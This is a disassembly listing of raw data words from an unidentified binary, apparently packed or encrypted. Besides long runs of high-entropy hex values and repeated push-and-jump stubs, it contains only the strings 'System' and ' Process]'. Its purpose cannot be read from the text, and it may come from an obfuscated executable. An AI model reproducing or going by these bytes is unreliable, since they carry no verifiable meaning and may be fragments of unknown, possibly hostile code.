		dd 9D8D0607h, 609A9AFh,	585BD3FFh, 8E9h, 7A44F600h, 24341E4Fh
		dd 0E9C08BCCh, 10h, 17E96180h, 3 dup(0)
		dd 0CD8E9h, 0A1A26800h,	93E9060Ch, 68FFFBA0h, 60CA2A0h
		dd 0FBA089E9h, 0A45368FFh, 7FE9060Ch, 68FFFBA0h, 60CA57Ch
		dd 0FBA075E9h, 0A88068FFh, 6BE9060Ch, 68FFFBA0h, 60CAA2Fh
		dd 0FBA061E9h, 0AB5C68FFh, 57E9060Ch, 26FFFBA0h, 6ED95853h
		dd 0B21D9C2Fh, 0F45FDEEDh, 3AA524A7h, 7DEA6978h, 9B2E6C85h
		dd 0DEE1B11Ch, 25A0F45Fh, 66753BA6h, 0A013F8E7h, 2040DFAFh
		dd 0ED1C71A3h, 5D9F18A3h, 649CB99Bh, 0C20878D0h, 0CD4C5F21h
		dd 1891B559h, 5355A5A5h, 158EB72Ch, 24CBDE9Eh, 9AE0505Bh
		dd 0B5B5D6FDh, 572405DFh, 2ECA1BF9h, 20C873h, 0E4F30000h
		dd 30A31C38h, 2C53AF1Ch, 0CA90D36h, 0DFB4AFC7h,	8663314h
		dd 732DCC2Ah, 121D9h, 0A3ED0400h, 0EA91A907h, 0F3544540h
		dd 1DACEE8Fh, 325618B9h, 61491406h, 6ED23398h, 79F883CDh
		dd 4F80F33Ch, 83264C1Dh, 0DEEDB35Ah, 2AAF1F7Ah,	264CE63Ah
		dd 0C2355C22h, 264C228Dh, 3E1184C5h, 14264C22h,	0B0298AEBh
		dd 53207939h, 3091EC50h, 0A00171CCh, 1CAFEC63h,	64ED5DB8h
		dd 0B300771Ah, 0CE71CC30h, 264C2381h, 0E347A8D1h, 0F8719539h
		dd 53D56585h, 948B72Ch,	3EB71276h, 0B52D84CBh, 44A5CEDFh
		dd 898D51C5h, 796F9D10h, 0B801D5AFh, 0A3DA0A45h, 0C80E48D5h
		dd 0CEE60BF4h, 0A8990B6Ch, 0A932B988h, 0C359404h, 3A5E1C93h
		dd 622D6FAFh, 8CFDE759h, 0F22FAE0Fh, 708E71B0h,	2577E6ADh
		dd 86E742A6h, 0A4CF8D16h, 0A3E7E85Bh, 0C2EBD5A3h, 0A3A3301Fh
		dd 98F922D5h, 0BB3E60F3h, 74AC7E13h, 0A75h, 42C1CA8Fh
		dd 860586D7h, 0C847541Bh, 0E8D1E5Dh, 53D2D1A3h,	83D11CE6h
		dd 46168100h, 1D59C443h, 0DEA00B8Ah, 785D4CCBh,	40DECA05h
		dd 81D60820h, 0A31CAFEDh, 0E858632Ch, 47521C87h, 38E49DC8h
		dd 8A0386D6h, 4C7F3817h, 90F11A26h, 1285CE17h, 264C7F3Dh
		dd 0B519AAEBh, 42B4DD5Ah, 0F2E46A21h, 119606C6h, 0D3AC773Dh
		dd 0ED8AEE17h, 0DFB4D7E6h, 0E94714F5h, 732DA40Bh, 0C8B8h
		dd 0A3EDE300h, 0F75D9F18h, 95C7F8B9h, 0C061A717h, 0EE8BEFF2h
		dd 264C1BFEh, 921198E6h, 0EE525927h, 30BB047Bh,	6F0171CCh
		dd 0E52EA7AFh, 753206Eh, 64C52084h, 134F6FF4h, 5CA52C53h
		dd 0B5EFE6E9h, 53C3ECDFh, 0DB52CBF4h, 4AA5099Ah, 0D90579DAh
		dd 0EF9DB225h, 8CB5DFB5h, 2069B22Bh, 0B5EFA2ADh, 0E087B0DFh
		dd 199E0E91h, 0D5AFB8D8h, 71E8618Ah, 0B621A023h, 0A540E5E4h
		dd 3313BB04h, 9772961h,	0C88D0000h, 84D540BFh, 56198403h
		dd 185BC645h, 0D3A10C8Bh, 1EE451D0h, 830281D3h,	0C6455818h
		dd 0D8C1F5Bh, 4ECDDCA2h, 0C8077A5Fh, 0A2040DDh,	0AFED83D8h
		dd 6C329D1Ch, 2AA1DE5Dh, 9BF65A69h, 0BBD2BA29h,	29995947h
		dd 5FD21BE0h, 264C7F70h, 0EC697C38h, 84CA53C3h,	0AEF091F5h
		dd 0E4289C1Bh, 5C9EE760h, 3FB23DB6h, 264C4C10h,	0AFA71942h
		dd 0CC51C160h, 2C53E6B4h, 0D879DD06h, 19840396h, 43E04457h
		dd 4029FF56h, 0C024A7F6h, 0E74B501Fh, 55BC8978h, 0C11C800Bh
		dd 0EDB0C60h, 53D2D9A7h, 0AF13A6E8h, 39453E12h,	83FAF540h
		dd 96256A33h, 676D732h,	97D9400Dh, 541A8504h, 4595BA2Dh
		dd 94BD4039h, 135CCF33h, 457857CAh, 315A4039h, 3945418Eh
		dd 0F8689140h, 39455573h, 83045540h, 0AB3E7E1Fh, 31FEC347h
		dd 454A85F8h, 5F884039h, 0C13889FEh, 847DEDFEh,	7B0E50B7h
		dd 0BCCF91FCh, 0A06EAE58h, 0F46DCED1h, 0E0EF62ABh, 0F2403945h
		dd 0B8D459C9h, 9A4A26BDh, 5E7EF271h, 72CA3DB6h,	444C3D92h
		dd 361AB71Bh, 217C2B6Eh, 0C33A7340h, 0A4BF2F1h,	4ABA1579h
		dd 9C10ECCAh, 4E29BD3h,	52C60000h, 0F61EBE5Dh, 8EC1347Dh
		dd 0C4264C7Fh, 87D02B9Bh, 7395E745h, 0E13CA023h, 88B57A6Fh
		dd 14C39318h, 5B952C53h, 9450904Fh, 387E8E9h, 0E54342A6h
		dd 0DEA118FAh, 9E0E69CDh, 0CB44C00Ch, 7AC00458h, 0C1254E31h
		dd 0D64FF717h, 0E764E494h, 1859C38Dh, 67C82387h, 46299CF7h
		dd 0C3B7170h, 0ADF36AE3h, 6A349F1Eh, 60B5BA5Fh,	4113F14Fh
		dd 7C409h, 72754000h, 0B6C988F3h, 0F883CC37h, 3E4D0E79h
		dd 830654BFh, 826B9704h, 0C732B130h, 0A75F4F7h,	51BC3B4Eh
		dd 0EFD7C0Fh, 0DB99B629h, 87B92040h, 18A3ED32h,	3F4C13B4h
		dd 0C50A7DC6h, 0D264C7Fh, 111374E4h, 112h, 0ADD91B64h
		dd 6C8CAE43h, 3738E50Fh, 0D083FEC5h, 0A0ACE60h,	696C23EDh
		dd 0B391EFBCh, 60793594h, 8Ah, 0DA3CE48Bh, 11620998h, 72D32E92h
		dd 123DB0F9h, 40264C7Fh, 34CA717h, 7F0847BAh, 214A264Ch
		dd 62F961AFh, 0B5259511h, 4CE11C30h, 86FC3626h,	6D03C94Fh
		dd 47BF455h, 17AAEABBh,	5F0046B6h, 9A118A11h, 0F556C6D5h
		dd 51B5C48Ah, 66DF67A7h, 53F2AFF3h, 5CC0E92Ch, 86EAF9BBh
		dd 0AF1394E5h, 42633061h, 0DF18E5C6h, 0A347A29Dh, 3FAFAB1Dh
		dd 2EAAE1BFh, 108E73h, 1BB90000h, 0EE33EDD9h, 2797178Bh
		dd 11407h, 0A41B5A00h, 106BCFDAh, 7F2B2497h, 0FE27264Ch
		dd 34D0FC8Eh, 836C48BBh, 0C33A2C53h, 2F8AEEFDh,	0E71E26BDh
		dd 39A90697h, 250CB1DAh, 7B19ACD3h, 69B71A9h, 2C690000h
		dd 0E0B11C9Bh, 0AAF560DFh, 6437A221h, 3F7DE867h, 42C02DACh
		dd 57D6D5A7h, 9A19ACECh, 0E1606B2Fh, 22A12876h,	0F4DB4E33h
		dd 0DE2040DAh, 0A41B57ACh, 0CD5FCFDAh, 22EC0905h, 0BF8C393Eh
		dd 0CFB3D86h, 0E63E5112h, 92626D10h, 4770264Ch,	60D0D3A0h
		dd 35E902E0h, 286BE279h, 6CDC379Bh, 68E0h, 3CE40B00h, 0A40594DAh
		dd 0E4E7B42Bh, 0B6B52580h, 627176ECh, 0A616A5EBh, 0A482E0ADh
		dd 537934FBh, 45h, 15D91B7Eh, 645D1633h, 2BEF81F1h, 12AFA013h
		dd 7AA3264Ch, 2532FC19h, 56BAC18Fh, 81E5E6B5h, 12B49B0Eh
		dd 759E264Ch, 0D0F1BE53h, 0DD400DBAh, 264CEA8Fh, 647E5BF9h
		dd 5A2D7935h, 46FFFFFEh, 8AFA81CFh, 203CE441h, 23223903h
		dd 6D4BA976h, 1A7934FBh, 268h, 0DAA41B45h, 85CA6BCFh, 0A91C95F6h
		dd 264C7FA6h, 8A1383ACh, 0B455B9C8h, 3280E4E7h,	8FCD3401h
		dd 7EE2E9B6h, 1837AA23h, 3A264C7Fh, 0F431B011h,	675CA4B2h
		dd 0DD4D5A3Bh, 296B0654h, 7E34D933h, 0A0AF5227h, 0B2264C6Eh
		dd 38AF2889h, 0FEBE6578h, 0BC2C87EBh, 99C10376h, 3364DAC2h
		dd 0FB5F6232h, 3DCF3FA0h, 89FC7591h, 2C53A671h,	0B2369AC3h
		dd 4447148Bh, 0A70EDBD4h, 0EC57D6D5h, 2BA21BAEh, 4340136Ah
		dd 8F2C72E2h, 0DFB59944h, 0A60DDA73h, 1A5CD5D4h, 39771574h
		dd 0CF00731Eh, 3DFB59Fh, 0A80979DAh, 875B7F3Dh,	0DEF9889Fh
		dd 0CA74D839h, 5877EA02h, 7ADFB5A8h, 477F051h, 0D5AAA89Ch
		dd 0F33CB5DEh, 0BEA84F80h, 0EA5A83D5h, 4DC91589h, 8B1C5DD4h
		dd 9F0F9AE4h, 0A2B9FB44h, 3C09637Eh, 6A26AB1Bh,	0ECDFA1B2h
		dd 29084AC3h, 91126344h, 6660D22Dh, 0C40A7A33h,	0A73A2827h
		dd 950C07CBh, 5952C2C5h, 54F01C8Ch, 0C22468DBh,	0F032C1B8h
		dd 76723373h, 0FB5ACA05h, 96E259D2h, 992C6C13h,	135DC829h
		dd 3AB12488h, 0AA056978h, 0DCEFB13Ah, 30DE205Dh, 0D9B53306h
		dd 0B9EE087h, 4ADC4CA7h, 96098282h, 0CBB740B6h,	7E1B7FA8h
		dd 0C791C055h, 268A195Bh, 26993A85h, 0C791C029h, 3B9F0029h
		dd 425F2B7h, 7CDAA788h,	5B12BE9Eh, 204Dh, 38E47800h, 1C30A31Ch
		dd 362C53AFh, 0C70CA90Dh, 14DFB4AFh, 2A086633h,	0D9732DCCh
		dd 0CFh, 18A3ED04h
		dd 85F841B4h, 264C7F4Ah, 66EF5F88h, 0A51C9514h,	146FD3D4h
		dd 74EB5EA4h, 0A730A02Bh, 847BAD9h, 4A264C7Fh, 0BB5CC021h
		dd 12BAD5F5h, 78235BBh,	90C027A6h, 0E6264C0Ch, 3A9E2D6Fh
		dd 64C8DB99h, 0AF38A809h, 0E75BDAE1h, 33A61F27h, 2C56AA6Ch
		dd 3B84FD26h, 0BAA687C8h, 32A2CBDFh, 7E1260D7h,	0B92CB9F0h
		dd 0DFBAF196h, 0F92193BCh, 1F920B0Bh, 0DFBA8A30h, 1998F922h
		dd 0C997ECAEh, 8A1837AAh, 113ADFBAh, 0B1AA4FB0h, 0EF19A21Bh
		dd 397E51Dh, 286D0000h,	0E4B5209Fh, 0B6F964E3h,	783BA625h
		dd 3381EC6Bh, 3EC431B0h, 63E2E1B3h, 0A625B8F8h,	0ED6C7F3Bh
		dd 2EAD3C82h, 0E8E75A3Fh, 0EA2040D7h, 0AFED63B8h, 6C329D1Ch
		dd 0EDB3DE5Dh, 13B418A3h, 94BF3E4Dh, 9F18A3EDh,	0D07345Dh
		dd 0A717ACC5h, 0DAFEC061h, 0A772B27Fh, 68B7EAD0h, 417A49BBh
		dd 2F6CEB4Ch, 35F73CEDh, 1D8D4EBBh, 4AC3438Bh, 53DBF7D7h
		dd 5CC0E92Ch, 0B53B94BFh, 0D84C7DFh, 0D0C93942h, 43C7A503h
		dd 3274732Eh, 8D000000h, 9F464516h, 155ECEDDh, 0A31C38E4h
		dd 53AF1C30h, 0A90D362Ch, 0B4AFC70Ch, 663314DFh, 5E71E42Dh
		dd 74DFB4AFh, 7D5BDB4Bh, 2A732DCBh, 149h, 7A3ED55h, 5A2423E3h
		dd 6C63D60Dh, 66264C6Dh, 177BDC3Dh, 7A7762A4h, 33CF0073h
		dd 0DA03264Ch, 276EE68h, 384B0992h, 921F61D4h, 0D0AFEFE4h
		dd 86C851C1h, 956768DBh, 426B264Ch, 92DC7DE1h, 8BECFFC1h
		dd 6EB5A50Ch, 82CB264Ch, 4C9AC00Fh, 0BBD81226h,	0AD73BA4Fh
		dd 0ED76E647h, 0B78CD2A3h, 2485E6E5h, 0AC1F68A5h, 264CE4A3h
		dd 8D1686AFh, 0AA54B8C3h, 0F669E262h, 2C533E7Eh, 0FBD66A0h
		dd 1294D3C0h, 0A831AD2Eh, 0F859BA20h, 384B087Fh, 0A80979D4h
		dd 0F36CE834h, 0A51837AAh, 4210DFB5h, 380DB3Fh,	0C60F6ADAh
		dd 1B7F0C4Fh, 0A51A35A8h, 0F38DFB5h, 0E0B93EAEh, 0B6D5AFF6h
		dd 0A5D86274h, 0BA2A8290h, 44F215Bh, 0FE1D2AD0h, 683D1285h
		dd 0EC15D5BCh, 0D99B128Bh, 4FB03B84h, 5C1C93D0h, 250D949h
		dd 0F8F7DA7Fh, 835513A4h, 1E84Bh, 4E591C00h, 921564CFh
		dd 0D4E7A813h, 1AA9EA55h, 5F62309Bh, 568F73E0h,	9B068504h
		dd 0DE49C8DBh, 25900F9Ah, 0E2D1505Bh, 0D5458AFDh, 5B8D2040h
		dd 0BAFED06h, 28B3EF7Eh, 1E98ED0Fh, 332021A1h, 81F871D2h
		dd 97246B32h, 0FA65C636h, 6AAC25B4h, 0A2CCB4C9h, 0A506766Fh
		dd 1C38E47Ah, 0AF1C30A3h, 0F83A2C53h, 0BAF5CDB2h, 4E81F402h
		dd 84DFB40Bh, 2B8AFA5Bh, 0B5877EAh, 517ADFB4h, 0D7198CF0h
		dd 403D1238h, 0A52A9A56h, 0DFB423AEh, 49AD3C82h, 70D4E7A8h
		dd 9A216E15h, 0EAB7E836h, 9F6C4DC9h, 2D576341h,	0BD1073h
		dd 1B3B0000h, 0F7D6F6D9h, 6DDD638Bh, 960F9AE4h,	0DA4A511Fh
		dd 22A1F394h, 0ED3121BEh, 5719264Ch, 145AC544h,	57772185h
		dd 1B2B2497h, 0FE27264Ch, 39B1249Dh, 5B2C53C1h,	0FD70B932h
		dd 0DFB541D2h, 667D700h, 51CA4A92h, 0CF34C608h,	0DBB389F7h
		dd 0B5C61738h, 0A2123BDFh, 912ED447h, 32CD5AFh,	4241138Ah
		dd 112D87C9h, 1B680F6Eh, 0CB0D4AABh, 0BAE6B825h, 0D55ECE9Ah
		dd 105F0487h, 0E613A46Ah, 0BBDC14h, 0C490000h, 0C091FC7Bh
		dd 8AD540BFh, 44178201h, 1F5DC847h, 62A00D8Ch, 37B63587h
		dd 7AF98CCCh, 0C1404B0Fh, 2810856h, 94BB2E13h, 0BE2040D4h
		dd 0AFED378Ch, 6C329D1Ch, 0EDB3DE5Dh, 13B418A3h, 0E3BCF84Dh
		dd 4FB01192h, 94B05CD0h, 1F81A81Bh, 97D12C59h, 45A89FA7h
		dd 1074D5BFh, 1B9A216Fh, 77DBEEB0h, 0C1FE21DAh,	5C295AC1h
		dd 0DAEDAC23h, 22AB1B76h, 0F1BE355Ch, 882B86EAh, 0CE419647h
		dd 8201628Bh, 0B8FC4917h, 0D6EC92Dh, 384B08A9h,	616233D4h
		dd 891C5CFDh, 0D9A6D725h, 9C692EB8h, 5E1A6B35h,	0D4D7A44Bh
		dd 35B41570h, 0EEAF84CAh, 0BD1E79DDh, 32159h, 6A740000h
		dd 1FA8ED95h, 45541ABBh, 717440E1h, 992C6C0Dh, 0C3C69435h
		dd 0EDFCBE5Fh, 18ABE889h, 3F4C13B4h, 687B3ADBh,	54519004h
		dd 4C18159h, 83000000h,	0C8704E9h, 89535C24h, 4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 2434895Ch, 4EC81h, 2C890000h
		dd 39BB5324h, 53060CA0h, 75243481h, 5E4FC767h, 6775F681h
		dd 545B4FC7h, 81242C8Bh, 4C4h, 4EC8100h, 89000000h, 458F2434h
		dd 242C8B08h, 5E08950h,	4, 8704C083h, 8B5C2404h, 89532434h
		dd 4C381E3h, 83000000h,	1C8704C3h, 0CFE95C24h, 26FFFB93h
		dd 6ECBE2C0h, 0B64BC119h, 0AC3CB895h, 0C503060Ch, 3647E0FFh
		dd 0CF610D9Ch, 0F04C5DDCh, 45D81999h, 2C37487h,	0AB0924A8h
		dd 12A603A2h, 0FA9109FBh, 44086E2Ah, 0EFBE501Dh, 0CA790C3Bh
		dd 5B5F292Dh, 778132FCh, 0B5A965E8h, 0EE7A6C15h, 95F25374h
		dd 0E827533Dh, 0D9975FACh, 57C923C3h, 609422D3h, 0A1D44AF0h
		dd 5D687EDAh, 0FF8E29D3h, 8D8D39A2h, 60CADC6h, 0FE58523h
		dd 9D290607h, 6071DE9h,	6798D89h, 95890607h, 6072665h
		dd 2CE585C7h, 63F00607h, 0B58B0000h, 6072889h, 2D0585C7h
		dd 607h, 0BD2B0000h, 60731E1h, 1515B5FFh, 6A0607h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 2371BEC3h, 33B0E36h,	0E9DBD89h, 95FF0607h, 60700BDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 7DC35040h
		dd 0FF006A33h, 716B595h, 0EBC08B06h, 82975A2Ah,	0A3867FADh
		dd 0EA2C7F53h, 0F8EC1B4Ch, 0D81747AEh, 552CE024h, 2DF4B377h
		dd 0D511BFBFh, 6834E28Bh, 0C829CEEEh, 0E97B9010h, 166h
		dd 590288FEh, 87E06FFCh, 4F1C4B92h, 8C15FB0h, 51CA51BBh
		dd 8C951B8h, 51C25FB3h,	38E9768Fh, 51BB2386h, 0D3407708h
		dd 9F44C36Ch, 50FCB19Ch, 518D1307h, 128h, 0
		dd 4, 2	dup(0)
		dd 2Fh,	0
		dd 8, 0
aSystem_0	db 'System',0
aProcess	db ' Process]',0
		align 4
		dd 3Eh dup(0)
		dd 0F9E90000h, 68000017h, 60CB179h, 0FB9121E9h,	0B27C68FFh
		dd 17E9060Ch, 68FFFB91h, 60CB363h, 0FB910DE9h, 0B45668FFh
		dd 3E9060Ch, 68FFFB91h,	60CB5F2h, 0FB90F9E9h, 0B79068FFh
		dd 0EFE9060Ch, 68FFFB90h, 60CB851h, 0FB90E5E9h,	0B91A68FFh
		dd 0DBE9060Ch, 68FFFB90h, 60CBB36h, 0FB90D1E9h,	0BC0B68FFh
		dd 0C7E9060Ch, 68FFFB90h, 60CBCC3h, 0FB90BDE9h,	0BD6068FFh
		dd 0B3E9060Ch, 68FFFB90h, 60CBEDCh, 0FB90A9E9h,	0C53968FFh
		dd 9FE9060Ch, 68FFFB90h, 60CC617h, 0FB9095E9h, 1AADE8FFh
		dd 5E61309Bh, 0A02B74DFh, 0E6E5B621h, 2BBEFC67h, 2AC33FACh
		dd 6FDA5968h, 0B21D9C2Fh, 0F964E3E6h, 0B6A524B7h, 0D0715ED1h
		dd 2F612040h, 18A3EDDAh, 596C289Fh, 0E42A9AF5h,	0EF6E7D43h
		dd 6C7F3BB2h, 0A2A26AFCh, 0DFE2B229h, 0A1A1146Fh, 0B32C538Fh
		dd 71B3268Ah, 5ED76AD6h, 77FC6C15h, 0DFB4745Ch,	21850054h
		dd 4CB03380h, 9080B1E0h, 688A3F36h, 69E506D3h, 7F5DBB88h
		dd 2C732D24h, 3Fh, 0D638E457h, 27A00188h, 53AF98B4h, 2D91BA2Ch
		dd 0D1FE71BAh, 1DFB4AFh, 0E8E368D8h, 0EBDFB4AFh, 1DF3D0Ah
		dd 0AE732DCCh, 123h, 0C40B7EC7h, 0EDFB4A3h, 0A3755ACDh
		dd 345DDFB4h, 0ED1A63D3h, 13B418A3h, 6BDE4241h,	7FA0AF22h
		dd 89B2264Ch, 0A01093E2h, 0DE424917h, 0E968733Dh, 4C847482h
		dd 0BFCA9426h, 3486FD46h, 53F651B5h, 0D9B3847Ch, 5CBD2D56h
		dd 9104AFF1h, 0D9B384BEh, 0D68A559Fh, 0C13ECE2Ah, 8CA74B87h
		dd 9DFE67AAh, 0CF81C33Ch, 453910DCh, 29D31989h,	9FE861E5h
		dd 0B543BC5Dh, 9E0EB134h, 0AC361919h, 0A9224BD3h, 0CB35CE67h
		dd 98084832h, 0FB1BC337h, 691D0F82h, 466FD5AEh,	750556CDh
		dd 21C18278h, 2292F316h, 0C2357EC7h, 0D5A2638Dh, 0A32C9CC5h
		dd 1653D2D1h, 81797ED4h, 0D144270Ah, 0D5A26EFEh, 0DA4AABD4h
		dd 0DB800351h, 13BAE336h, 3E0A4214h, 66000015h,	0AE199813h
		dd 0F25DDCEFh, 349F1EADh, 7AE56467h, 0BD2AA938h, 0DBEEAC45h
		dd 1EA1F15Ch, 6560349Fh, 0A6357BE6h, 0E0533827h, 2040CEEFh
		dd 0ED5CB1E3h, 609D1CAFh, 96481B1Eh, 90002BECh,	4221B907h
		dd 5AE6C33Ch, 2F1E31A4h, 0B34264Ch, 2FBC03AAh, 0E4244FCEh
		dd 30A31C38h, 2C53AF1Ch, 0CA90D36h, 0DFB4AFC7h,	8663314h
		dd 732DCC2Ah, 0DBD9h, 0A3ED0400h, 0DF569F18h, 4EA90D9Eh
		dd 4C7FA4ABh, 9374AE26h, 0E291D20Eh, 8ED444A5h,	0B81CAFEDh
		dd 4C5D0D1Bh, 58632D26h, 962968DFh, 145AC526h, 57772185h
		dd 0A3C336AFh, 0F52C535Dh, 5C1153CCh, 338B9D1Ah, 0F4CAD1Dh
		dd 5FC3D698h, 37188B04h, 1BDFB546h, 2CF082F2h, 0AA0E9DE2h
		dd 2C75EE4Fh, 465F70E3h, 0D97EDFB5h, 41081C07h,	84F61F9Ch
		dd 39CAD18Bh, 189D0D04h, 0D5AF26D9h, 70E76089h,	0B5209F22h
		dd 303FE4E7h, 0C613BB97h, 143BBCF4h, 2C690000h,	0E0B11C9Bh
		dd 0AAF560DFh, 6437A221h, 3F7DE867h, 42C02DACh,	57D6D5A7h
		dd 9A19ACECh, 0E1606B2Fh, 22A12876h, 0F4DB4E33h, 0DE2040CDh
		dd 0AFED57ACh, 0B461A31Ch, 143BAEF4h, 3E264C95h, 4E3CA315h
		dd 1681E252h, 97C24148h, 0D0DBA41Bh, 7FEBE457h,	0BEE7264Ch
		dd 0F0FBC54Eh, 5A5EB8Ch, 0C697B98Bh, 81D753C5h,	9E0988E9h
		dd 0F51CAD1h, 236D9761h, 67D93498h, 272855Ch, 35551BBCh
		dd 0F4481E07h, 0E867C8B6h, 0E0EF62ABh, 0F2264CD3h, 0AA3559C9h
		dd 0C841C509h, 53070555h, 0AA2E572Ch, 2F30014Dh, 58FC20E4h
		dd 5D1F96DFh, 1F8FEA4Eh, 3CDD669Ah, 63C7F02Eh, 66D915B9h
		dd 0DA244469h, 7AD52F69h, 8F917356h, 0E154CD2Eh, 0D03E658Bh
		dd 871A5AC9h, 6836AD26h, 2977E261h, 0D7FCFDA2h,	20F2160Ah
		dd 1354E8h, 82055000h, 0C6D99803h, 893DC47h, 4E5D1E89h
		dd 931664CFh, 925BA714h, 0D742C1C0h, 1A850487h,	61CC4B5Eh
		dd 1E0D8C1Fh, 0CC89C639h, 97C92040h, 18A3ED42h,	42C20AB4h
		dd 333E80C9h, 7040E67h,	0E3822647h, 82E357D1h, 0CC6D8D12h
		dd 96BF2C53h, 0D7E2AC17h, 1398E75Eh, 73EA5DA3h,	0E23DA122h
		dd 0D23CE072h, 0E5F6B982h, 1EC52084h, 8FEA4E5Dh, 6B42B52Eh
		dd 2BD5A06Eh, 4C128902h, 0D53BE3Dh, 111A086Dh, 3596AA44h
		dd 5FE727D1h, 252A9DE6h, 38D5A0C3h, 0E624D865h,	547DFABEh
		dd 68D8E3ADh, 0E4DC40Dh, 225A236Ch, 0C5262292h,	11960661h
		dd 0DFB53538h, 6966D91Ah, 69CB9315h, 0EF66DF40h, 5E9B1AA1h
		dd 0A31398E7h, 0BEFF541Ah, 784A711Ch, 1F80E82Ch, 6CB05ABEh
		dd 3CFC6FE8h, 6EC18C6Eh, 60091934h, 94F58EE5h, 8C6A74EFh
		dd 0C0F8CA07h, 1261h, 0F6757643h, 3AB9CA8Bh, 7CFB80CFh
		dd 0C2414211h, 7860557h, 3F7D689Ah, 0F2C22DACh,	0B10570EFh
		dd 24CB736h, 2409F877h,	40CB9EB1h, 2D82B420h, 9D1CAFEDh
		dd 0E861E529h, 539C6D75h, 2286AF2Ch, 677A38AFh,	0AF38A803h
		dd 0EA61DAE1h, 15B61AA9h, 74E44546h, 0D3E6A813h, 3185FC6Fh
		dd 68B446B6h, 0D40073ECh, 22D5AB53h, 77DBE8ABh,	0CCBE9104h
		dd 6B94D5BDh, 123B9A0Ah, 6C275799h, 79367928h, 183FC309h
		dd 0A68CDBD6h, 0B8287A94h, 0C58BF2BFh, 3CA02370h, 8D0180E1h
		dd 0D94CC541h, 0DFA2F0C1h, 0CDD0A017h, 71D5FE5Dh, 0F96CB5FEh
		dd 0CBA630D6h, 1F30D3FCh, 33CBA630h, 30507FF2h,	5982CBA6h
		dd 0B1FF88F8h, 4D97CC19h, 0BD1E7BD4h, 0DDA0B59h, 5CD5719Dh
		dd 0B9EDD1E9h, 7BFA23C1h, 4D82F53Eh, 85C1AF2Ah,	1D63EC5Ch
		dd 40B72A8Eh, 7AFF6F72h, 0C1AFDA51h, 0BFF8C55Eh, 81C5387Dh
		dd 77E7A395h, 0CB08A0EEh, 226D0A0Bh, 0A4574FC1h, 488B3498h
		dd 0B3FD68E7h, 0B01190E2h, 0DA7AA24Ch, 28BEEE61h, 5DD4CBB0h
		dd 0CB268A1Dh, 27C2FC5Bh, 637BEA7Bh, 0A9AF2E8Fh, 0D0749831h
		dd 54B5E457h, 56C5CD85h, 0A1258605h, 0B6F7240h,	83B4656Eh
		dd 7A9A42FDh, 0E63F8E01h, 668FF796h, 1E31A4EDh,	34F38F62h
		dd 0F49BB1FAh, 465DB0Dh, 0FCC23994h, 72D6D5A7h,	0FA37B617h
		dd 0F55032B8h, 0D141ECEFh, 692D0648h, 1487FA5Eh, 0F38F993Bh
		dd 2C8DEE17h, 565527C8h, 971404B1h, 88C09235h, 10C5h, 92119ADFh
		dd 0D6555627h, 1897246Bh, 5EDDEEADh, 0A322A1F3h, 5321CC36h
		dd 1666D150h, 0EDA91493h, 0AEF05BDAh, 0C8AD9C1Bh, 40CA7A55h
		dd 0D1265820h, 9D1CAFEDh, 5BCE1760h, 264C7F74h,	0BD92355Eh
		dd 99264C7Fh, 4C7F2926h, 83002926h, 1F61EA5Ah, 0ED9CD7Bh
		dd 465CF11h, 12B1FFA0h,	4C46B09Fh, 0CD78AD26h, 6289F081h
		dd 0F75BBCE5h, 90F7C45Dh, 0A52675CEh, 8563C544h, 3279357Dh
		dd 18Eh, 0F2D91B5Dh, 0B68DF37Eh, 98E66FDFh, 51219811h
		dd 477EA4Eh, 264CB3CBh,	0D7DDE07h, 515826C7h, 2B5395D2h
		dd 0EF382C63h, 0F0372F3Bh, 0AF107CFCh, 0E561AD3Fh, 23A4F56Ch
		dd 0E5E558B3h, 0F72C53E5h, 86CD6ACEh, 0D5DFB525h, 485B1B92h
		dd 0B412DFD8h, 732E59D6h, 5185h, 55279E00h, 0E49DE656h
		dd 0F7460B38h, 76B4A0BBh, 0E0539C15h, 264CC0EFh, 85E9FAB9h
		dd 1484AD2Ah, 100A46B9h, 0B4C2C53h, 0B5F0B798h,	11729BDFh
		dd 0F03B10ADh, 3718DFB5h, 0FEBA316Ah, 0BA2C87EBh, 80452002h
		dd 0EA6ADAD0h, 732ED60Ch, 0BDBBh, 0A3EDE600h, 4113B418h
		dd 0C728B3FCh, 0EDFCC263h, 97B82B74h, 0BB264C7Fh, 69DC2292h
		dd 0AF1FA2F2h, 7B405826h, 32B50502h, 0C50173CEh, 83D1A2h
		dd 6EE0419Ch, 1BB2CCB7h, 8F0E6F25h, 4CBB1E28h, 65743A26h
		dd 0AAAA72E6h, 13E1BE31h, 73B52C56h, 0E2516A0Ch, 0E544B439h
		dd 8ECC43BCh, 834082FBh, 7E9BC299h, 0B31E7FEFh,	9A3DE2E1h
		dd 1019A282h, 0F27063Eh, 387D0000h, 0F4C530AFh,	460974F3h
		dd 84BB635h, 0C391FC7Bh, 2ED441C0h, 73F2F1C3h, 0B6354808h
		dd 0FD7C0F4Bh, 3EBDCC92h, 0D8F76A4Fh, 0FA2040C8h, 0AFED73C8h
		dd 0E75AA31Ch, 264C7FE8h, 0AA397BEAh, 1A8AEB46h, 79004EB9h
		dd 0A3EDCFFAh, 4D13B418h, 0A54BF3Eh, 4ABD067Fh,	264C7F05h
		dd 6EB4244Dh, 83FC18C4h, 537F6810h, 42C1EA2Ch, 78840h
		dd 0AFED9300h, 301BB81Ch, 26264C7Fh, 7F656ADDh,	446D264Ch
		dd 75504D2h, 0C8389EFAh, 67289636h, 0D63A410Eh,	5BB61A7Bh
		dd 7EDFEAB4h, 0ADCB9205h, 188F2C59h, 85E04457h,	148DB615h
		dd 49C8D39Dh, 0A50990DEh, 8E33B604h, 19A72037h,	6683BB8Dh
		dd 3E00000Eh, 86F1707Bh, 0CA35B437h, 0C77F685h,	52BD3C4Fh
		dd 95028100h, 0B336846Dh, 0F689C934h, 3D480C77h, 7E0D53BEh
		dd 0B82B10FFh, 2040C797h, 0ED3489BBh, 329D1CAFh, 86F95D6Ch
		dd 7F85CA3Dh, 0DCA3264Ch, 0B92952CFh, 0F75B6E30h, 90F7C45Dh
		dd 0A42775CEh, 0B84E540h, 3F7BC494h, 8CE74BACh,	7B59BB1Ch
		dd 597934FBh, 0A31396E2h, 1617h, 0D1F14200h, 1F264C8Ah
		dd 0D19964A6h, 0FB9FEBA0h, 0FD9F6B8Bh, 0F1BEFFFFh, 264C7FDAh
		dd 84FD19C5h, 0A080F93Bh, 0B0655ED1h, 52FABB40h, 72AC2C59h
